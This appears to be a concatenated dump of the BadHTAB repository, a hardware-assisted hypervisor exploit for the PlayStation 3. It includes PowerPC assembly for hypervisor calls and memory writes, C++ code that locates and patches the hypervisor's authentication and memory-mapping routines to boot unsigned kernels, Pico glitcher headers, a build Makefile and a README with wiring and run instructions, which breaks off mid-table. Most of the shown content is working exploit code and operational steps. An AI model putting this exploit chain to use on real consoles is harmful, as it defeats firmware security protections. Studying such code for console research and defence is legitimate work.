lv2_slbmte_do: 16 | slbmte 3, 4 17 | blr 18 | 19 | .global lv2_slbmfev_do 20 | 21 | lv2_slbmfev_do: 22 | slbmfev 4, 3 23 | blr 24 | 25 | .global lv2_slbmfee_do 26 | 27 | lv2_slbmfee_do: 28 | slbmfee 4, 3 29 | blr 30 | 31 | .global lv2_disable_interrupt_do 32 | 33 | lv2_disable_interrupt_do: 34 | li %r0, 2 35 | mtmsrd %r0, 1 36 | eieio 37 | sync 38 | blr 39 | 40 | .global lv2_enable_interrupt_do 41 | 42 | lv2_enable_interrupt_do: 43 | li %r0, 0 44 | ori %r0, %r0, 0x8002 45 | eieio 46 | sync 47 | mtmsrd %r0, 1 48 | blr 49 | 50 | .global lv2_disable_enable_interrupt_do 51 | 52 | lv2_disable_enable_interrupt_do: 53 | // disable 54 | li %r0, 2 55 | mtmsrd %r0, 1 56 | 57 | //enable 58 | li %r0, 0 59 | ori %r0, %r0, 0x8002 60 | eieio 61 | sync 62 | mtmsrd %r0, 1 63 | 64 | blr 65 | 66 | .global lv2_write_lv1_rw_htabe_do 67 | 68 | // in 69 | // (r4 = old_vas_id, r5 = new_vas_id) 70 | 71 | // out 72 | // (r4 = res1, r5 = res2) 73 | 74 | lv2_write_lv1_rw_htabe_do: 75 | 76 | // disable interrupt 77 | li %r0, 2 78 | mtmsrd %r0, 1 79 | eieio 80 | sync 81 | 82 | // offsets: 83 | // 0 = old_vas_id 84 | // 8 = new_vas_id 85 | // 16 = res1 86 | // 24 = res2 87 | // 32 = r0 restore 88 | 89 | // push 90 | addi %r1, %r1, -64 91 | 92 | // save register to stack 93 | std %r4, 0(%r1) // old_vas_id 94 | std %r5, 8(%r1) // new_vas_id 95 | 96 | // call1 97 | 98 | mflr %r0 99 | std %r0, 32(%r1) 100 | 101 | ld %r3, 8(%r1) // new_vas_id 102 | li %r11, 7 // lv1_select_virtual_address_space 103 | 104 | sc 1 105 | 106 | std %r3, 16(%r1) // res1 107 | 108 | ld %r0, 32(%r1) 109 | mtlr %r0 110 | 111 | // call2 112 | 113 | mflr %r0 114 | std %r0, 32(%r1) 115 | 116 | ld %r3, 0(%r1) // old_vas_id 117 | li %r11, 7 // lv1_select_virtual_address_space 118 | 119 | sc 1 120 | 121 | std %r3, 24(%r1) // res2 122 | 123 | ld %r0, 32(%r1) 124 | mtlr %r0 125 | 126 | // set res1, res2 to output register 127 | ld %r4, 16(%r1) // res1 128 | ld %r5, 24(%r1) // res2 129 | 130 | // pop 131 | addi %r1, %r1, 64 132 | 133 | // enable interrupt 134 | li %r0, 0 135 | ori %r0, %r0, 0x8002 136 | eieio 137 | sync 138 | mtmsrd %r0, 1 139 | 140 | blr 141 | 142 | .global lv2_get_pir_do 143 | 144 | lv2_get_pir_do: 145 | mfspr %r4, 286 146 | blr 147 | 148 | .global lv2_glitcher_test_do 149 | 150 | // input: r3 = addr, r4 = size 151 | // output: r4 = writeCount 152 | 153 | // r0 = value to write 154 | // r5 = cur_addr 155 | // r6 = writeCount 156 | // r7 = temp 157 | // r8 = end_addr 158 | 159 | lv2_glitcher_test_do: 160 | 161 | #if 1 162 | // disable interrupt 163 | li %r0, 2 164 | mtmsrd %r0, 1 165 | eieio 166 | sync 167 | #endif 168 | 169 | li %r0, 0x69 170 | 171 | // writeCount = 0 172 | li %r6, 0 173 | 174 | // return if size == 0 175 | li %r7, 0x00 176 | cmp 0, 0, %r4, %r7 177 | beq ret 178 | 179 | // cur_addr = addr 180 | mr %r5, %r3 181 | 182 | // end_addr = addr + size 183 | add %r8, %r3, %r4 184 | 185 | loop: 186 | stb %r0, 0(%r5) // cur_addr[0] = r0 187 | 188 | // cur_addr += 1 189 | addi %r5, %r5, 1 190 | 191 | // writeCount += 1 192 | addi %r6, %r6, 1 193 | 194 | // return if cur_addr >= end_addr 195 | cmp 0, 0, %r5, %r8 196 | bge ret 197 | 198 | // loop 199 | b loop 200 | 201 | ret: 202 | mr %r4, %r6 // copy writeCount to output 203 | 204 | eieio 205 | sync 206 | 207 | #if 1 208 | // enable interrupt 209 | li %r0, 0 210 | ori %r0, %r0, 0x8002 211 | eieio 212 | sync 213 | mtmsrd %r0, 1 214 | #endif 215 | 216 | blr 217 | 218 | // lv2_lv1_release_memory_intr_do(lpar_addr) 219 | 220 | // input: 221 | // r3 = lpar_addr 222 | 223 | // output: 224 | // r3 = res 225 | 226 | .global lv2_lv1_release_memory_intr_do 227 | 228 | lv2_lv1_release_memory_intr_do: 229 | 230 | // disable interrupt 231 | li %r0, 2 232 | mtmsrd %r0, 1 233 | eieio 234 | sync 235 | 236 | // lv1_release_memory(lpar_addr) 237 | 238 | // push 239 | addi %r1, %r1, -64 240 | 241 | mflr %r0 242 | std %r0, 0(%r1) 243 | 244 | li %r11, 13 // lv1_release_memory 245 | sc 1 246 | 247 | eieio 248 | sync 249 | 250 | ld %r0, 0(%r1) 251 | mtlr %r0 252 | 253 | // pop 254 | addi %r1, %r1, 64 255 | 256 | // enable interrupt 257 | li %r0, 0 258 | ori %r0, %r0, 0x8002 259 | eieio 260 | sync 261 | mtmsrd %r0, 1 262 | 263 | blr -------------------------------------------------------------------------------- /ps3pulldown2/ps3pulldown2/usb_common.h: -------------------------------------------------------------------------------- 1 | #ifndef _USB_COMMON_H 2 | #define _USB_COMMON_H 3 | 4 | #include "pico/types.h" 5 | #include "hardware/structs/usb.h" 6 | 7 | #define USB_REQ_TYPE_STANDARD 0x00u 8 | #define USB_REQ_TYPE_TYPE_CLASS 0x20u 9 | #define USB_REQ_TYPE_TYPE_VENDOR 0x40u 10 | #define USB_REQ_TYPE_TYPE_MASK 0x60u 11 | 12 | #define USB_REQ_TYPE_RECIPIENT_DEVICE 0x00u 13 | #define USB_REQ_TYPE_RECIPIENT_INTERFACE 0x01u 14 | #define USB_REQ_TYPE_RECIPIENT_ENDPOINT 0x02u 15 | #define USB_REQ_TYPE_RECIPIENT_MASK 0x1fu 16 | 17 | #define USB_DIR_OUT 0x00u 18 | #define USB_DIR_IN 0x80u 19 | 20 | #define USB_TRANSFER_TYPE_CONTROL 0x00u 21 | #define USB_TRANSFER_TYPE_ISOCHRONOUS 0x01u 22 | #define USB_TRANSFER_TYPE_BULK 0x02u 23 | #define USB_TRANSFER_TYPE_INTERRUPT 0x03u 24 | #define USB_TRANSFER_TYPE_BITS 0x03u 25 | 26 | #define USB_DT_DEVICE 0x01u 27 | #define USB_DT_CONFIG 0x02u 28 | #define USB_DT_STRING 0x03u 29 | #define USB_DT_INTERFACE 0x04u 30 | #define USB_DT_ENDPOINT 0x05u 31 | 32 | #define USB_REQUEST_GET_STATUS 0x00u 33 | #define USB_REQUEST_CLEAR_FEATURE 0x01u 34 | #define USB_REQUEST_SET_FEATURE 0x03u 35 | #define USB_REQUEST_SET_ADDRESS 0x05u 36 | #define USB_REQUEST_GET_DESCRIPTOR 0x06u 37 | #define USB_REQUEST_SET_DESCRIPTOR 0x07u 38 | #define USB_REQUEST_GET_CONFIGURATION 0x08u 39 | #define USB_REQUEST_SET_CONFIGURATION 0x09u 40 | #define USB_REQUEST_GET_INTERFACE 0x0au 41 | #define USB_REQUEST_SET_INTERFACE 0x0bu 42 | #define USB_REQUEST_SYNC_FRAME 0x0cu 43 | 44 | #define USB_REQUEST_MSC_GET_MAX_LUN 0xfeu 45 | #define USB_REQUEST_MSC_RESET 0xffu 46 | 47 | #define USB_FEAT_ENDPOINT_HALT 0x00u 48 | #define USB_FEAT_DEVICE_REMOTE_WAKEUP 0x01u 49 | #define USB_FEAT_TEST_MODE 0x02u 50 | 51 | struct usb_descriptor { 52 | uint8_t bLength; 53 | uint8_t bDescriptorType; 54 | } __packed; 55 | 56 | struct usb_device_descriptor { 57 | uint8_t bLength; 58 | uint8_t bDescriptorType; 59 | uint16_t bcdUSB; 60 | uint8_t bDeviceClass; 61 | uint8_t bDeviceSubClass; 62 | uint8_t bDeviceProtocol; 63 | uint8_t bMaxPacketSize0; 64 | uint16_t idVendor; 65 | uint16_t idProduct; 66 | uint16_t bcdDevice; 67 | uint8_t iManufacturer; 68 | uint8_t iProduct; 69 | uint8_t iSerialNumber; 70 | uint8_t bNumConfigurations; 71 | } __packed; 72 | 73 | struct usb_configuration_descriptor { 74 | uint8_t bLength; 75 | uint8_t bDescriptorType; 76 | uint16_t wTotalLength; 77 | uint8_t bNumInterfaces; 78 | uint8_t bConfigurationValue; 79 | uint8_t iConfiguration; 80 | uint8_t bmAttributes; 81 | uint8_t bMaxPower; 82 | } __packed; 83 | 84 | struct usb_interface_descriptor { 85 | uint8_t bLength; 86 | uint8_t bDescriptorType; 87 | uint8_t bInterfaceNumber; 88 | uint8_t bAlternateSetting; 89 | uint8_t bNumEndpoints; 90 | uint8_t bInterfaceClass; 91 | uint8_t bInterfaceSubClass; 92 | uint8_t bInterfaceProtocol; 93 | uint8_t iInterface; 94 | } __packed; 95 | 96 | struct usb_endpoint_descriptor { 97 | uint8_t bLength; 98 | uint8_t bDescriptorType; 99 | uint8_t bEndpointAddress; 100 | uint8_t bmAttributes; 101 | uint16_t wMaxPacketSize; 102 | uint8_t bInterval; 103 | } __packed; 104 | 105 | struct usb_endpoint_descriptor_long { 106 | uint8_t bLength; 107 | uint8_t bDescriptorType; 108 | uint8_t bEndpointAddress; 109 | uint8_t bmAttributes; 110 | uint16_t wMaxPacketSize; 111 | uint8_t bInterval; 112 | uint8_t bRefresh; 113 | uint8_t bSyncAddr; 114 | } __packed; 115 | 116 | struct usb_setup_packet { 117 | uint8_t bmRequestType; 118 | uint8_t bRequest; 119 | uint16_t wValue; 120 | uint16_t wIndex; 121 | uint16_t wLength; 122 | } __packed; 123 | 124 | typedef struct usb_descriptor usb_descriptor_t; 125 | typedef struct usb_device_descriptor usb_device_descriptor_t; 126 | typedef struct usb_configuration_descriptor usb_configuration_descriptor_t; 127 | typedef struct usb_interface_descriptor usb_interface_descriptor_t; 128 | typedef struct usb_endpoint_descriptor usb_endpoint_descriptor_t; 129 | typedef struct usb_endpoint_descriptor_long usb_endpoint_descriptor_long_t; 130 | typedef struct usb_setup_packet usb_setup_packet_t; 131 | 132 | // 133 | 134 | #define EP0_OUT_ADDR (USB_DIR_OUT | 0) 135 | #define EP0_IN_ADDR (USB_DIR_IN | 0) 136 | #define EP1_OUT_ADDR (USB_DIR_OUT | 1) 137 | #define EP2_IN_ADDR (USB_DIR_IN | 2) 138 | 139 | struct usb_endpoint *usb_get_endpoint(uint8_t ep_addr); 140 | 141 | void usb_start_transfer(struct usb_endpoint *ep, uint8_t *buf, uint16_t len); 142 | 143 | bool usb_is_inited(); 144 | 145 | void usb_init(); 146 | 147 | #endif 148 | -------------------------------------------------------------------------------- /BadHTAB/source/LoadLv2Kernel.cpp: -------------------------------------------------------------------------------- 1 | #include "Include.h" 2 | 3 | void LoadLv2Kernel(const char* fileName, uint32_t type) 4 | { 5 | PrintLog("LoadLv2Kernel(), fileName = %s\n", fileName); 6 | 7 | if (strlen(fileName) > 24) 8 | { 9 | PrintLog("file name too long! Abort!()\n"); 10 | 11 | abort(); 12 | return; 13 | } 14 | 15 | char fullPath[512]; 16 | sprintf(fullPath, "/dev_flash/sys/%s", fileName); 17 | 18 | PrintLog("fullPath = %s\n", fullPath); 19 | 20 | if (!IsFileExist(fullPath)) 21 | { 22 | PrintLog("file not found! Abort!()\n"); 23 | 24 | abort(); 25 | return; 26 | } 27 | 28 | sysLv2FsChmod(fullPath, 0777); 29 | 30 | { 31 | char fullPath_blind[512]; 32 | sprintf(fullPath_blind, "/dev_blind/sys/%s", fileName); 33 | 34 | PrintLog("fullPath_blind = %s\n", fullPath_blind); 35 | 36 | sysLv2FsChmod(fullPath_blind, 0777); 37 | } 38 | 39 | bool found = false; 40 | uint64_t offset = 0; 41 | 42 | //bool targetIsCEX = TargetIsCEX(); 43 | //bool targetIsDEX = TargetIsDEX(); 44 | //bool targetIsCEXOrDEX = (targetIsCEX || targetIsDEX); 45 | 46 | //bool targetIsDECR = TargetIsDECR(); 47 | 48 | #if 0 49 | if (fwVersion == 4.81 && targetIsDECR) 50 | { 51 | offset = 0x1a90c8; 52 | found = true; 53 | } 54 | else if (fwVersion == 4.84 && targetIsCEXOrDEX) 55 | { 56 | offset = 0x1480C8; 57 | found = true; 58 | } 59 | else if (fwVersion == 4.92 && targetIsCEXOrDEX) 60 | { 61 | offset = 0x376E78; 62 | found = true; 63 | } 64 | else 65 | #endif 66 | { 67 | uint64_t t1 = GetTimeInMs(); 68 | 69 | for (uint64_t i = 0; i < 16 * 1024 * 1024; i += 4) 70 | { 71 | uint64_t v; 72 | lv1_read(i, 8, &v); 73 | 74 | if (v == 0x2F6F732F6C76325FULL) 75 | { 76 | found = true; 77 | offset = i - 4; 78 | 79 | break; 80 | } 81 | 82 | uint64_t t2 = GetTimeInMs(); 83 | 84 | if ((t2 - t1) >= 2000) 85 | { 86 | lv2_beep_single(); 87 | t1 = t2; 88 | } 89 | } 90 | } 91 | 92 | if (!found) 93 | { 94 | PrintLog("offset not found!, Abort!()\n"); 95 | 96 | abort(); 97 | return; 98 | } 99 | 100 | PrintLog("offset = 0x%lx\n", offset); 101 | 102 | #if 0 103 | 104 | // /local_sys0/lv2_kernel.self 105 | 106 | { 107 | uint64_t patches[4]; 108 | 109 | patches[0] = 0x2F6C6F63616C5F73ULL; 110 | patches[1] = 0x7973302F6C76325FULL; 111 | patches[2] = 0x6B65726E656C2E73ULL; 112 | patches[3] = 0x656C660000000000ULL; 113 | 114 | lv1_write(offset, 32, patches); 115 | } 116 | 117 | #endif 118 | 119 | { 120 | char fullPath[512]; 121 | sprintf(fullPath, "/local_sys0/sys/%s", fileName); 122 | 123 | PrintLog("fullPath2 = %s\n", fullPath); 124 | 125 | size_t len = strlen(fullPath); 126 | lv1_write(offset, len + 1, fullPath); 127 | } 128 | 129 | { 130 | // install our patch 131 | 132 | bool auth_lv2_offset_found = false; 133 | uint64_t auth_lv2_offset; 134 | 135 | #if 0 136 | 137 | if (fwVersion >= 4.70 && targetIsCEXOrDEX) 138 | { 139 | auth_lv2_offset_found = true; 140 | auth_lv2_offset = 0x167ACC; 141 | } 142 | else if (fwVersion >= 4.70 && targetIsDECR) 143 | { 144 | auth_lv2_offset_found = true; 145 | auth_lv2_offset = 0x176ACC; 146 | } 147 | 148 | #endif 149 | 150 | { 151 | for (uint64_t i = 0; i < (16 * 1024 * 1024); i += 4) 152 | { 153 | uint64_t v[3]; 154 | lv1_read(i, 24, v); 155 | 156 | if ((v[0] == 0xF821FF517C0802A6) && (v[1] == 0xFB610088FB810090) && (v[2] == 0xFBC100A07C7C1B78)) 157 | { 158 | auth_lv2_offset_found = true; 159 | auth_lv2_offset = i; 160 | 161 | break; 162 | } 163 | } 164 | } 165 | 166 | if (!auth_lv2_offset_found) 167 | { 168 | PrintLog("auth_lv2_offset not found!, Abort!()\n"); 169 | 170 | abort(); 171 | return; 172 | } 173 | 174 | PrintLog("auth_lv2_offset = 0x%lx\n", auth_lv2_offset); 175 | 176 | // blr = 4E 80 00 20 177 | //uint32_t v = 0x4E800020; 178 | //lv1_write(auth_lv2_offset, 4, &v); 179 | 180 | // max function size = 420 181 | 182 | if (type == LoadLv2KernelType_e::Fself || type == LoadLv2KernelType_e::OtherOS_Fself) 183 | { 184 | PrintLog("Writing our fself loader patch...\n"); 185 | 186 | if (our_lv1_auth_lv2_hook_fself_do_size > 420) 187 | { 188 | PrintLog("function size too big!\n"); 189 | 190 | abort(); 191 | return; 192 | } 193 | 194 | PrintLog("Patch size = %lu\n", our_lv1_auth_lv2_hook_fself_do_size); 195 | 196 | lv1_write(auth_lv2_offset, 197 | our_lv1_auth_lv2_hook_fself_do_size, 198 | (void*)our_lv1_auth_lv2_hook_fself_do); 199 | } 200 | } 201 | 202 | { 203 | bool mmap_size_offset_found = false; 204 | uint64_t mmap_size_offset; 205 | 206 | // 7C 7C 1B 78 7F C3 F3 78 7F 86 E3 78 207 | 208 | for (uint64_t i = 0; i < (16 * 1024 * 1024); i += 4) 209 | { 210 | uint32_t v[3]; 211 | lv1_read(i, 12, v); 212 | 213 | if ((v[0] == 0x7C7C1B78) && (v[1] == 0x7FC3F378) && (v[2] == 0x7F86E378)) 214 | { 215 | mmap_size_offset_found = true; 216 | mmap_size_offset = i; 217 | 218 | break; 219 | } 220 | } 221 | 222 | if (!mmap_size_offset_found) 223 | { 224 | PrintLog("mmap_size_offset not found!, Abort!()\n"); 225 | 226 | abort(); 227 | return; 228 | } 229 | 230 | PrintLog("mmap_size_offset = 0x%lx\n", mmap_size_offset); 231 | 232 | //uint32_t v = 0x3B831000; 233 | uint32_t v = 0x3B837000; 234 | lv1_write(mmap_size_offset, 4, &v); 235 | } 236 | 237 | if (type == LoadLv2KernelType_e::OtherOS_Fself) 238 | { 239 | PrintLog("Patching initial lpar size...\n"); 240 | 241 | uint64_t initial_lpar_size_offset = offset + 0x127; 242 | PrintLog("initial_lpar_size_offset = 0x%lx\n", initial_lpar_size_offset); 243 | 244 | uint8_t v = 0x1B; // 128M 245 | lv1_write(initial_lpar_size_offset, 1, &v); 246 | } 247 | 248 | UninstallOurHvcall(); 249 | 250 | WaitInMs(1000); 251 | lv2_beep_triple(); 252 | 253 | PrintLog("Booting lv2_kernel...\n"); 254 | lv2_boot_lv2_kernel(); 255 | } -------------------------------------------------------------------------------- /BadHTAB/Makefile: -------------------------------------------------------------------------------- 1 | #--------------------------------------------------------------------------------- 2 | # Clear the implicit built in rules 3 | #--------------------------------------------------------------------------------- 4 | .SUFFIXES: 5 | #--------------------------------------------------------------------------------- 6 | ifeq ($(strip $(PSL1GHT)),) 7 | $(error "Please set PSL1GHT in your environment. export PSL1GHT=") 8 | endif 9 | 10 | include $(PSL1GHT)/ppu_rules 11 | 12 | # aditional scetool flags (--self-ctrl-flags, --self-cap-flags...) 13 | SCETOOL_FLAGS += 14 | 15 | #--------------------------------------------------------------------------------- 16 | # TARGET is the name of the output 17 | # BUILD is the directory where object files & intermediate files will be placed 18 | # SOURCES is a list of directories containing source code 19 | # INCLUDES is a list of directories containing extra header files 20 | #--------------------------------------------------------------------------------- 21 | TARGET := $(notdir $(CURDIR)) 22 | BUILD := build 23 | SOURCES := source 24 | DATA := data 25 | INCLUDES := 26 | 27 | TITLE := BadHTAB build 2 28 | APPID := KAFU00003 29 | CONTENTID := UP0001-$(APPID)_00-0000000000000000 30 | #--------------------------------------------------------------------------------- 31 | # options for code generation 32 | #--------------------------------------------------------------------------------- 33 | 34 | CFLAGS = -O0 -Wall -mcpu=cell $(MACHDEP) $(INCLUDE) 35 | CXXFLAGS = $(CFLAGS) 36 | 37 | LDFLAGS = $(MACHDEP) -Wl,-Map,$(notdir $@).map 38 | 39 | #--------------------------------------------------------------------------------- 40 | # any extra libraries we wish to link with the project 41 | #--------------------------------------------------------------------------------- 42 | LIBS := -lrsx -lgcm_sys -lio -lsysutil -lrt -llv2 -lm -lsysmodule -lusb 43 | 44 | #--------------------------------------------------------------------------------- 45 | # list of directories containing libraries, this must be the top level containing 46 | # include and lib 47 | #--------------------------------------------------------------------------------- 48 | LIBDIRS := 49 | 50 | #--------------------------------------------------------------------------------- 51 | # no real need to edit anything past this point unless you need to add additional 52 | # rules for different file extensions 53 | #--------------------------------------------------------------------------------- 54 | ifneq ($(BUILD),$(notdir $(CURDIR))) 55 | #--------------------------------------------------------------------------------- 56 | 57 | export OUTPUT := $(CURDIR)/$(TARGET) 58 | 59 | export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ 60 | $(foreach dir,$(DATA),$(CURDIR)/$(dir)) 61 | 62 | export DEPSDIR := $(CURDIR)/$(BUILD) 63 | 64 | export BUILDDIR := $(CURDIR)/$(BUILD) 65 | 66 | #--------------------------------------------------------------------------------- 67 | # automatically build a list of object files for our project 68 | #--------------------------------------------------------------------------------- 69 | CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) 70 | CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) 71 | sFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) 72 | SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S))) 73 | BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) 74 | 75 | #--------------------------------------------------------------------------------- 76 | # use CXX for linking C++ projects, CC for standard C 77 | #--------------------------------------------------------------------------------- 78 | ifeq ($(strip $(CPPFILES)),) 79 | export LD := $(CC) 80 | else 81 | export LD := $(CXX) 82 | endif 83 | 84 | export OFILES := $(addsuffix .o,$(BINFILES)) \ 85 | $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \ 86 | $(sFILES:.s=.o) $(SFILES:.S=.o) 87 | 88 | #--------------------------------------------------------------------------------- 89 | # build a list of include paths 90 | #--------------------------------------------------------------------------------- 91 | export INCLUDE := $(foreach dir,$(INCLUDES), -I$(CURDIR)/$(dir)) \ 92 | $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ 93 | $(LIBPSL1GHT_INC) \ 94 | -I$(CURDIR)/$(BUILD) 95 | 96 | #--------------------------------------------------------------------------------- 97 | # build a list of library paths 98 | #--------------------------------------------------------------------------------- 99 | export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) \ 100 | $(LIBPSL1GHT_LIB) 101 | 102 | export OUTPUT := $(CURDIR)/$(TARGET) 103 | .PHONY: $(BUILD) clean 104 | 105 | #--------------------------------------------------------------------------------- 106 | $(BUILD): 107 | @[ -d $@ ] || mkdir -p $@ 108 | @$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile 109 | 110 | #--------------------------------------------------------------------------------- 111 | clean: 112 | @echo clean .... 113 | @rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).self 114 | 115 | #--------------------------------------------------------------------------------- 116 | run: 117 | ps3load $(OUTPUT).self 118 | 119 | #--------------------------------------------------------------------------------- 120 | pkg: $(BUILD) $(OUTPUT).pkg 121 | 122 | #--------------------------------------------------------------------------------- 123 | 124 | npdrm: $(BUILD) 125 | @$(SELF_NPDRM) $(SCETOOL_FLAGS) --np-content-id=$(CONTENTID) --encrypt $(BUILDDIR)/$(basename $(notdir $(OUTPUT))).elf $(BUILDDIR)/../EBOOT.BIN 126 | 127 | #--------------------------------------------------------------------------------- 128 | 129 | quickpkg: 130 | $(VERB) if [ -n "$(PKGFILES)" -a -d "$(PKGFILES)" ]; then cp -rf $(PKGFILES)/* $(BUILDDIR)/pkg/; fi 131 | $(VERB) $(PKG) --contentid $(CONTENTID) $(BUILDDIR)/pkg/ $(TARGET).pkg >> /dev/null 132 | $(VERB) cp $(TARGET).pkg $(TARGET).gnpdrm.pkg 133 | $(VERB) $(PACKAGE_FINALIZE) $(TARGET).gnpdrm.pkg 134 | 135 | #--------------------------------------------------------------------------------- 136 | else 137 | 138 | DEPENDS := $(OFILES:.o=.d) 139 | 140 | #--------------------------------------------------------------------------------- 141 | # main targets 142 | #--------------------------------------------------------------------------------- 143 | $(OUTPUT).self: $(OUTPUT).elf 144 | $(OUTPUT).elf: $(OFILES) 145 | 146 | #--------------------------------------------------------------------------------- 147 | # This rule links in binary data with the .bin extension 148 | #--------------------------------------------------------------------------------- 149 | %.bin.o : %.bin 150 | #--------------------------------------------------------------------------------- 151 | @echo $(notdir $<) 152 | @$(bin2o) 153 | 154 | -include $(DEPENDS) 155 | 156 | #--------------------------------------------------------------------------------- 157 | endif 158 | #--------------------------------------------------------------------------------- 159 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![BadHTAB Wiring](http://ps3xploit.me/images/badhtab-wiring-picow.png) 2 | 3 | # BadHTAB 4 | 5 | **BadHTAB** is a **hardware–software** hypervisor (LV1) exploit for Sony PlayStation 3. Originally invented by geohot for Linux, it works by briefly pulling certain RAM signals to ground during a hypervisor HTAB invalidation—causing the write to be skipped and leaving an entry valid. This grants full read/write access to a small region of hypervisor memory, which can later be manipulated for complete memory control. 6 | 7 | This GameOS-ported exploit runs on every PS3 model with PS3HEN, bringing CFW-only features to non-CFW consoles for the first time ever. 8 | 9 | > **Warning:** Success rate is low (~5–10%). Requires soldering, patience, and skill. Not for daily-driver consoles. 10 | > **Note:** Not persistent—must rerun after every reboot. 11 | > **Firmware:** Supports **4.70 or later**. 12 | 13 | --- 14 | 15 | ## Components 16 | 17 | - **BadHTAB** — Software side, delivered as a `.pkg` for PS3 18 | - **ps3pulldown2** — Hardware side, a Raspberry Pi Pico (RP2040) glitcher over USB 19 | 20 | --- 21 | 22 | ## Features 23 | 24 | After a successful run: 25 | 26 | - **`hvcall 114 everywhere`** — Map any memory region without restriction 27 | - **New HVCalls**: `lv1_peek(34)` / `lv1_poke(35)` / `lv1_exec(36)` 28 | - **Dump LV1 memory** — Write hypervisor RAM to file 29 | - **Boot custom `lv2_kernel.fself`** — Load any LV2 kernel in FSELF format 30 | - **Boot OtherOS** — Launch Petitboot to restore Linux/OtherOS 31 | 32 | > **Note:** Using “Boot LV2/OtherOS” removes the new HVCalls (besides 114); you can reinstall them via HVCall 114. 33 | 34 | --- 35 | 36 | ## New HVCalls 37 | 38 | ```c 39 | // lv1_peek(34) 40 | // in: r3 = addr 41 | // out: r3 = value 42 | 43 | // lv1_poke(35) 44 | // in: r3 = addr, r4 = value 45 | // out: r3 = 0 46 | 47 | // lv1_exec(36) 48 | // in: r3–r8 = args, r9 = addr 49 | ``` 50 | 51 | --- 52 | 53 | ## Installation (Hardware) 54 | 55 |
56 | Requirements & Wiring 57 | 58 | - Raspberry Pi Pico (RP2040) 59 | - 0.1 mm magnet wire 60 | - Soldering tools 61 | 62 | ### Glitch Wiring 63 | 64 | Solder two pull-down wires from the PS3 RAM resistors to the Pico: 65 | 66 | 1. Identify the two target resistors (e.g. **RQ7** and **RQ8** on the PS3 service manual or by tracing after desoldering). 67 | 2. Solder one end of each wire to those resistors. 68 | 3. Solder the other ends to the Pico’s GPIO15 and GPIO16 (bottom-most pins). 69 | 70 |

71 | BadHTAB Solder Points 72 |

73 | 74 | ### Assembly & UF2 Flash 75 | 76 | 1. Reassemble PS3 enough to power on safely. 77 | 2. Hold **BOOTSEL** and plug Pico into PC → new drive appears. 78 | 3. Copy `ps3pulldown2.uf2` from [Releases](https://github.com/aomsin2526/BadHTAB/releases) onto the Pico drive. 79 | 4. Remove Pico, reinsert into PS3’s USB port. 80 | 81 | > **Tips:** 82 | > - Keep wires off any metal. 83 | > - Test on a naked PS3 (no case) for easy access—HDD light blink verifies boot. 84 | > - Super Slim power buttons are fragile—consider shorting pins with a screwdriver. 85 | 86 |
87 | 88 | --- 89 | 90 | ## Installation (Software) 91 | 92 |
93 | BadHTAB .pkg & Configuration 94 | 95 | 1. Install `BadHTAB.pkg` from [Releases](https://github.com/aomsin2526/BadHTAB/releases). 96 | 97 |
98 | Dump LV1 Memory 99 | 100 | - Create an empty file at `/dev_hdd0/BadHTAB_doDumpLv1.txt` 101 | - (For 240 MB dump, use `BadHTAB_doDumpLv1_240M.txt`) 102 | - Run the exploit. 103 | 104 |
105 | 106 |
107 | Boot Custom LV2 Kernel (FSELF) 108 | 109 | 1. Convert `lv2_kernel.self` → `lv2_kernel.fself`: 110 | ```bash 111 | make_fself.exe -u lv2_kernel.elf lv2_kernel.fself 112 | ``` 113 | 2. Place an empty `/dev_hdd0/BadHTAB_doLoadLv2Kernel_Fself.txt`. 114 | 3. Copy `lv2_kernel.fself` to `/dev_flash/sys/lv2_kernel.fself`. 115 | 4. Graceful shutdown, then run exploit. 116 | 117 | > **Tip:** Use `/dev_blind/` (via webman MOD) to write to `/dev_flash/` if full. Remove `ps1emu/ps2emu/pspemu` to free space. 118 | 119 |
120 | 121 |
122 | Boot OtherOS (Petitboot) 123 | 124 | 1. Place empty `/dev_hdd0/BadHTAB_doOtherOS.txt`. 125 | 2. Copy `dtbImage.ps3.fself` (from [ps3-petitboot-kexec-patched](https://github.com/aomsin2526/ps3-petitboot-kexec-patched/releases/tag/fself)) to `/dev_flash/sys/dtbImage.ps3.fself`. 126 | 3. Graceful shutdown, then run exploit. 127 | 128 |
129 | 130 |
131 | 132 | --- 133 | 134 | ## Running the Exploit 135 | 136 | 1. Plug Pico into a PS3 USB port. 137 | 2. Launch **BadHTAB** pkg. 138 | 3. **Beep** = status indicator; log at `/dev_hdd0/BadHTAB.txt`. 139 | 140 | 1. One triple-beep = exploit started. 141 | 2. Pico LED will blink; you’ll hear periodic beeps. 142 | 3. If beeps stop or PS3 powers off → glitch failed → reboot & retry. 143 | 4. Successful glitch: triple-beep, pause, then multiple triple-beeps. 144 | 5. HVCalls are patched; configured action (dump/kernel/OtherOS) runs. 145 | 6. If not booting LV2/OtherOS → 5 s long beep → exploit ends → back to XMB. 146 | 147 | --- 148 | 149 | ## Additional Modifications via esc0rtd3w 150 | 151 | - **Auto-reboot** on crash 152 | - UART0 for Pico, UART1 for PS3 SB_UART 153 | - PSU standby & ribbon-connector monitoring 154 | - 4 status LEDs (error/yellow/green/blue) 155 | - Optional HDD activity monitoring 156 | - **SYSCON UART enables** 157 | ``` 158 | Mullion CXR713*: w 7202 02 159 | Mullion CXR713120: w 4202 02 160 | Mullion CXR714*: w 4202 02 161 | Sherwood SYSCON: w 1202 02 162 | ``` 163 | > **Warning:** Do **not** enable extra UART outputs or glitch will crash on XMB return. 164 | 165 | **PS3 → Pico wiring summary** 166 | | Signal | PS3 Pin/Source | Pico GPIO | 167 | |----------------------------|-----------------------------------|-----------| 168 | | pulldown1 (RQ7) | RAM resistor | 15 | 169 | | pulldown2 (RQ8) | RAM resistor | 16 | 170 | | pwr_on_ribbon (PS3 3.3 V) | Power Ribbon connector | 10 | 171 | | 